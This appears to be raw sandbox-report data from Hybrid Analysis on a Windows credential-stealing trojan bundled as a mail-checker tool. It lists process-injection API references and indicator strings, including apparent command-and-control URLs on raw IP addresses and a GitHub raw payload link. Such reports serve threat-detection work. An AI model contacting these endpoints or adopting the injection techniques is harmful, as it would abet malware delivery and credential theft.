26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 8f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T512,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan_Win64_SvcStealer_PGSL_MTB Sample 7836fcfb6c81… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 7836fcfb6c81…. Malware family: Trojan_Win64_SvcStealer_PGSL_MTB. Threat score 100/100. 11/27 AV engines flagged this file. 13 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8","keywords":["Malicious","Trojan_Win64_SvcStealer_PGSL_MTB","malware analysis","sandbox report","threat intelligence","7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8"],"about":{"@type":"SoftwareApplication","name":"7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan_Win64_SvcStealer_PGSL_MTB","antivirusDetections":{"malicious":11,"total":27},"behavioralIndicators":{"malicious":13,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T9d4,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp")28:Tfc1,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp, 00000000-00006932.00000001.285240.CDDFD000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp, 00000000-00006932.00000001.285240.CDDFD000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp")29:Tb97,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004428.00000000.285121.C5D29000.00000004.mdmp, 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp, 00000000-00004428.00000001.285232.C5D29000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006464.00000002.288951.44C7F000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp, 00000000-00006932.00000001.285240.CDDFD000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp, 00000000-00006932.00000001.285240.CDDFD000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00007248.00000002.289475.4001C000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00007980.00000000.285138.6F59C000.00000002.mdmp")2a:T478,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.155F0000.00000004.mdmp, 00000000-00004428.00000001.285232.C5CE5000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp")2b:T9d9,Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "RNGCryptoServiceProvider" (Indicator: "RNGCryptoServiceProvider"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "DecryptAes" (Indicator: "Aes"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "EncryptAes" (Indicator: "Aes"; File: "7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to "PBKDF2-HMAC-SHA512" (Indicator: "HMAC"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to "PBKDF2-HMAC-SHA512" (Indicator: "SHA512"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to "HMAC-SHA1" (Indicator: "HMAC"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to "HMAC-SHA512" (Indicator: "HMAC"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to "HMAC-SHA512" (Indicator: "SHA512"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to "HMAC: can only be used with a block-based hash function" (Indicator: "HMAC"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp") Found reference to "HMAC(" (Indicator: "HMAC"; Source: "00000000-00006932.00000000.284995.16877000.00000002.mdmp")2c:Tacf,HMC_2.3.exe has big resource with name: "resources/images/penguin.png" size: "41543" and abnormal entropy:"7.963534813136924" HMC_2.3.exe has big resource with name: "resources/images/yandex.png" size: "23800" and abnormal entropy:"7.7087321032777725" HMC_2.3.exe has big resource with name: "resources/images/interia.png" size: "46566" and abnormal entropy:"7.6474228973587115" HMC_2.3.exe has big resource with name: "resources/images/logo.png" size: "17514" and abnormal entropy:"7.921068737047048" HMC_2.3.exe has big resource with name: "resources/fonts/roboto-regular.ttf" size: "171272" and abnormal entropy:"6.459127809417728" HMC_2.3.exe has big resource with name: "ui/pages/overlays/websettingspage.baml" size: "21232" and abnormal entropy:"6.195748767882559" HMC_2.3.exe has big resource with name: "resources/images/logo-dark.png" size: "15761" and abnormal entropy:"7.877141527103624" HMC_2.3.exe has big resource with name: "components/viewer/views/tabs/pop3tab.baml" size: "16720" and abnormal entropy:"6.257764939104307" HMC_2.3.exe has big resource with name: "resources/fonts/roboto-thin.ttf" size: "171500" and abnormal entropy:"6.4459494944690015" HMC_2.3.exe has big resource with name: "resources/images/gmx.png" size: "22443" and abnormal entropy:"7.918525727615754" HMC_2.3.exe has big resource with name: "components/scheduler/views/schedulerwindow.baml" size: "15855" and abnormal entropy:"6.2443427523641475" HMC_2.3.exe has big resource with name: "components/viewer/views/tabs/imaptab.baml" size: "21948" and abnormal entropy:"6.2587544326730065" HMC_2.3.exe has big resource with name: "ui/views/mainview.baml" size: "20954" and abnormal entropy:"6.228512551608563" HMC_2.3.exe has big resource with name: "resources/images/seznam.png" size: "56257" and abnormal entropy:"7.914246249555258" HMC_2.3.exe has big resource with name: "resources/images/startup_background.jpg" size: "28399" and abnormal entropy:"7.776552763183144" HMC_2.3.exe has big resource with name: "resources/images/proton.png" size: "30563" and abnormal entropy:"7.852146319095644" HMC_2.3.exe has big resource with name: "resources/images/yahoo.png" size: "27164" and abnormal entropy:"7.680132780249874" HMC_2.3.exe has big resource with name: "resources/images/captcha.png" size: "23172" and abnormal entropy:"7.876901027501738" HMC_2.3.exe has big resource with name: "resources/fonts/roboto-bold.ttf" size: "170348" and abnormal entropy:"6.459695597065956" HMC_2.3.exe has big resource with name: "resources/fonts/roboto-light.ttf" size: "170012" and abnormal entropy:"6.482290938774591" HMC_2.3.exe has big resource with name: "resources/fonts/roboto-medium.ttf" size: "171656" and abnormal entropy:"6.472414358824863"2d:Ta52,"d__8" [Source: 7836fcfb6c81e23437fb1b4e812099a945fe318e3dc41cb3ba81f9768c0d0db8.bin]6c:T444,"1.0.0.0" "2.3.0.0" "2.2.0.1" "1.0.0.1" "62.60.226.159" "196.251.107.130" "4.0.0.0" "11.0.0.0" Potential IP "196.251.107.130" found in string "http://196.251.107.130" Potential IP "196.251.107.130" found in string "ttp://196.251.107.130/16b022998f754137b60a.php" "96.251.107.130" Potential IP "196.251.107.130" found in string "http://196.251.107.130/16b022998f754137b60a.php" "130.107.251.196" Potential IP "196.251.107.130" found in string "Host: 196.251.107.130" "192.168.0.2" "2.5.29.15" "2.5.29.19" "2.5.29.14" "2.5.29.35" "2.5.4.3" "127.0.0.1" "0.0.0.0" "2.5.29.1" "2.5.29.17" "2.5.29.7" "2.5.29.18" "2.5.29.8" "2.5.29.36" "2.5.29.30" "2.5.29.10" "2.5.29.4" "2.5.29.37" "2.60.226.159" Potential IP "62.60.226.159" found in string "ttp://62.60.226.159/xvzpjyddlu/getdata.php" Potential IP "2.60.226.159" found in string "2.60.226.159/xvzpjyddlu/getdata.php" Potential IP "62.60.226.159" found in string "http://62.60.226.159/xvzpjyddlu/getdata.php" "196.251.107.104" "159.226.60.62" Potential IP "62.60.226.159" found in string "Host: 62.60.226.159"6d:T2cda,Pattern match: "www.microsoft.com0.0.0.0" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202012.crl0" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202012.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "https://www.microsoft.com/en-us/windows" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm0" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "www.apache.org/licenses/license-2.0" Pattern match: "www.apache.org/licenses/license-2.0robotomedium" Pattern match: "www.apache.org/licenses/license-2.0robotothin" Pattern match: "https://raw.githubusercontent.com/opiumfdhg12/friendly-computing-machine/refs/heads/main/homka" Heuristic match: "3c-bs.gmx.com" Pattern match: "https://login.gmx.com/login" Heuristic match: "3c.gmx.net" Pattern match: "https://login.gmx.net/login" Heuristic match: "3c.web.de" Pattern match: "https://login.web.de/login" Heuristic match: "/a@0.cc" Pattern match: "http://www.w3.org/1999/02/22-rdf-syntax-ns#" Pattern match: "https://www.istockphoto.com/legal/license-agreement?utm_medium=organic&utm_source=google&utm_campaign=iptcurl" Pattern match: "hoto.com/photo/license-gm1165337623-?utm_medium=organic&utm_source=google&utm_campaign=iptcurl/" Heuristic match: "mailbee.net" Heuristic match: "hackus_mail_checker_reforged.net" Pattern match: "raw.githubusercontent.com/opiumfdhg12/friendly-computing-machine/refs/heads/main/homka" Heuristic match: "gmx.com" Heuristic match: "mx.com" Heuristic match: "tor-bs.gmx.com" Pattern match: "gmx.com/login" Heuristic match: "gmx.net" Pattern match: "login.gmx.net/login" Heuristic match: "web.de" Heuristic match: "igator.web.de" Pattern match: "web.de/login" Pattern match: "ator.web.de/login" Pattern match: "http://losslvs.surf:7802-74" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://196.251.107.130" Pattern match: "http://196.251.107.130/16b022998f754137b60a.php" Pattern match: "http://losslvs.surf:7802" Pattern match: "http://losslvs.surf:7802/" Pattern match: "http://cdn.content.pro" Pattern match: "http://schemas.xmlsoap.org/soap/envelope/" Pattern match: "http://schemas.xmlsoap.org/soap/encoding/" Pattern match: "http://www.w3.org/2001/xmlschema" Pattern match: "http://components.groove.net/groove/components/systemcomponents/systemcomponents.osd?package=net.groove.groove.systemcomponents.groovesystemresources_rbd&version=0" Pattern match: "http://schemas.xmlsoap.org/soap/encoding/:arraytype" Pattern match: "http://schemas.xmlsoap.org/soap/envelope/:body" Pattern match: "http://www.w3.org/1999/xmlschema-instance" Pattern match: "http://www.w3.org/1999/xmlschema" Pattern match: "http://schemas.xmlsoap.org/soap/envelope/:fault" Pattern match: "http://www.w3.org/1999/xmlschema-instance:type" Pattern match: "http://webservices.groove.net/groove/2.0/gfs/" Pattern match: "http://webservices.groove.net/groove/2.0/accounts/" Pattern match: "http://tempuri.org" Pattern match: "http://www.groove.net/groove/2.0/gfs#deletesession" Pattern match: "http://www.groove.net/groove/2.0/gfs#removechatview" Pattern match: "http://www.groove.net/groove/2.0/gfs#getchatupdate" Pattern match: "http://www.groove.net/groove/2.0/gfs#execchatcommand" Pattern match: "http://www.groove.net/groove/2.0/gfs#addchatentry" Pattern match: "http://www.groove.net/groove/2.0/gfs#showsyncstatus" Pattern match: "http://www.groove.net/groove/2.0/gfs#showproperties" Pattern match: "http://www.groove.net/groove/2.0/gfs#editdownloadsettings" Pattern match: "http://www.groove.net/groove/2.0/gfs#editalertsettings" Pattern match: "http://www.groove.net/groove/2.0/gfs#setupmultiplecomputers" Pattern match: "http://www.groove.net/groove/2.0/gfs#getdownloadstatus" Pattern match: "http://www.groove.net/groove/2.0/gfs#downloadfiles" Pattern match: "http://www.groove.net/groove/2.0/gfs#getmemberlist" Pattern match: "http://www.groove.net/groove/2.0/gfs#removesessionview" Pattern match: "http://www.groove.net/groove/2.0/gfs#addsessionview" Pattern match: "http://www.groove.net/groove/2.0/gfs#getdisplayinfo" Pattern match: "http://www.groove.net/groove/2.0/gfs#getsessioninfo" Pattern match: "http://www.groove.net/groove/2.0/gfs#createsession" Pattern match: "http://webservices.groove.net/groove/2.0/core/" Pattern match: "http://www.groove.net/groove/2.0/account#read2" Pattern match: "http://www.groove.net/groove/2.0/account#read" Pattern match: "http://webservices.groove.net/wsdl/2.0/grooveaccounts.wsdl" Pattern match: "http://%ls%ls" Pattern match: "http://%ls:%d%ls" Heuristic match: "urn:groove.net" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=20&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=19&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=18&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=17&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=16&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=15&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=14,1&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=14&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=13,1&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=13&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=12&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=11&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=10&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=9&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=8&factory=open" Pattern match: "http://components.groove.net/groove/components/root.osd?package=net.groove.groove.tools.system.groovetelespacetemplate_tpl&version=7&factory=open" Pattern match: "http://www.groove.net/groove/2.0/local#launchfile" Pattern match: "http://webservices.groove.net/groove/2.0/local#openaddcontact" Pattern match: "http://webservices.groove.net/groove/2.0/local#opentoolproperties" Pattern match: "http://webservices.groove.net/groove/2.0/local#openspaceproperties" Pattern match: "http://www.groove.net/groove/2.0/local#openlicenses" Pattern match: "http://www.groove.net/groove/2.0/local#openaboutgroove" Pattern match: "http://www.groove.net/groove/2.0/local#openaccountsetupwizard" Pattern match: "http://www.groove.net/groove/2.0/local#opencreatespacewizard" Pattern match: "http://www.groove.net/groove/2.0/local#openvcardeditor" Pattern match: "http://www.groove.net/groove/2.0/local#opencontactproperties" Pattern match: "http://www.groove.net/groove/2.0/local#openpreferences" Pattern match: "http://www.groove.net/groove/2.0/local#openmessagehistory" Pattern match: "http://www.groove.net/groove/2.0/local#opencommunicationsmanager" Pattern match: "http://www.groove.net/groove/2.0/local#openlaunchbar" Pattern match: "http://www.groove.net/groove/2.0/local#sendinvitationalert" Pattern match: "http://www.groove.net/groove/2.0/local#sendinvitationtochat" Pattern match: "http://www.groove.net/groove/2.0/local#sendinvitation" Pattern match: "http://www.groove.net/groove/2.0/local#sendinstantmessage" Pattern match: "http://www.groove.net/groove/2.0/local#view" Pattern match: "http://webservices.groove.net/groove/2.0/local/" Pattern match: "http://webservices.groove.net/wsdl/2.0/groovelocal.wsdl" Pattern match: "http://www.groove.net/groove/2.0/contacts#fetch" Pattern match: "http://www.groove.net/groove/2.0/contacts#search" Pattern match: "http://www.groove.net/groove/2.0/contacts#readavailabledirectories" Pattern match: "http://www.groove.net/groove/2.0/contacts#read" Pattern match: "http://www.groove.net/groove/2.0/contacts#create" Pattern match: "http://webservices.groove.net/groove/2.0/contacts/" Pattern match: "http://webservices.groove.net/wsdl/2.0/groovecontacts.wsdl" Pattern match: "http://www.groove.net/groove/2.0/members#exittool" Pattern match: "http://www.groove.net/groove/2.0/members#entertool" Pattern match: "http://www.groove.net/groove/2.0/members#exitspace" Pattern match: "http://www.groove.net/groove/2.0/members#enterspace" Pattern match: "http://www.groove.net/groove/2.0/members#delete" Pattern match: "http://www.groove.net/groove/2.0/members#read" Pattern match: "http://www.groove.net/groove/2.0/members#create" Pattern match: "http://webservices.groove.net/groove/2.0/members/" Pattern match: "http://webservices.groove.net/wsdl/2.0/groovemembers.wsdl" Heuristic match: "1uk .uk" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Pattern match: "http://schemas.microsoft.com/start/2014/layoutmodification" Pattern match: "http://schemas.microsoft.com/start/2014/fulldefaultlayout" Pattern match: "http://62.60.226.159/xvzpjyddlu/getdata.php" Heuristic match: "pathext=.com"6e:T3770,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004428.00000000.285121.155F0000.00000004.mdmp") Found URL 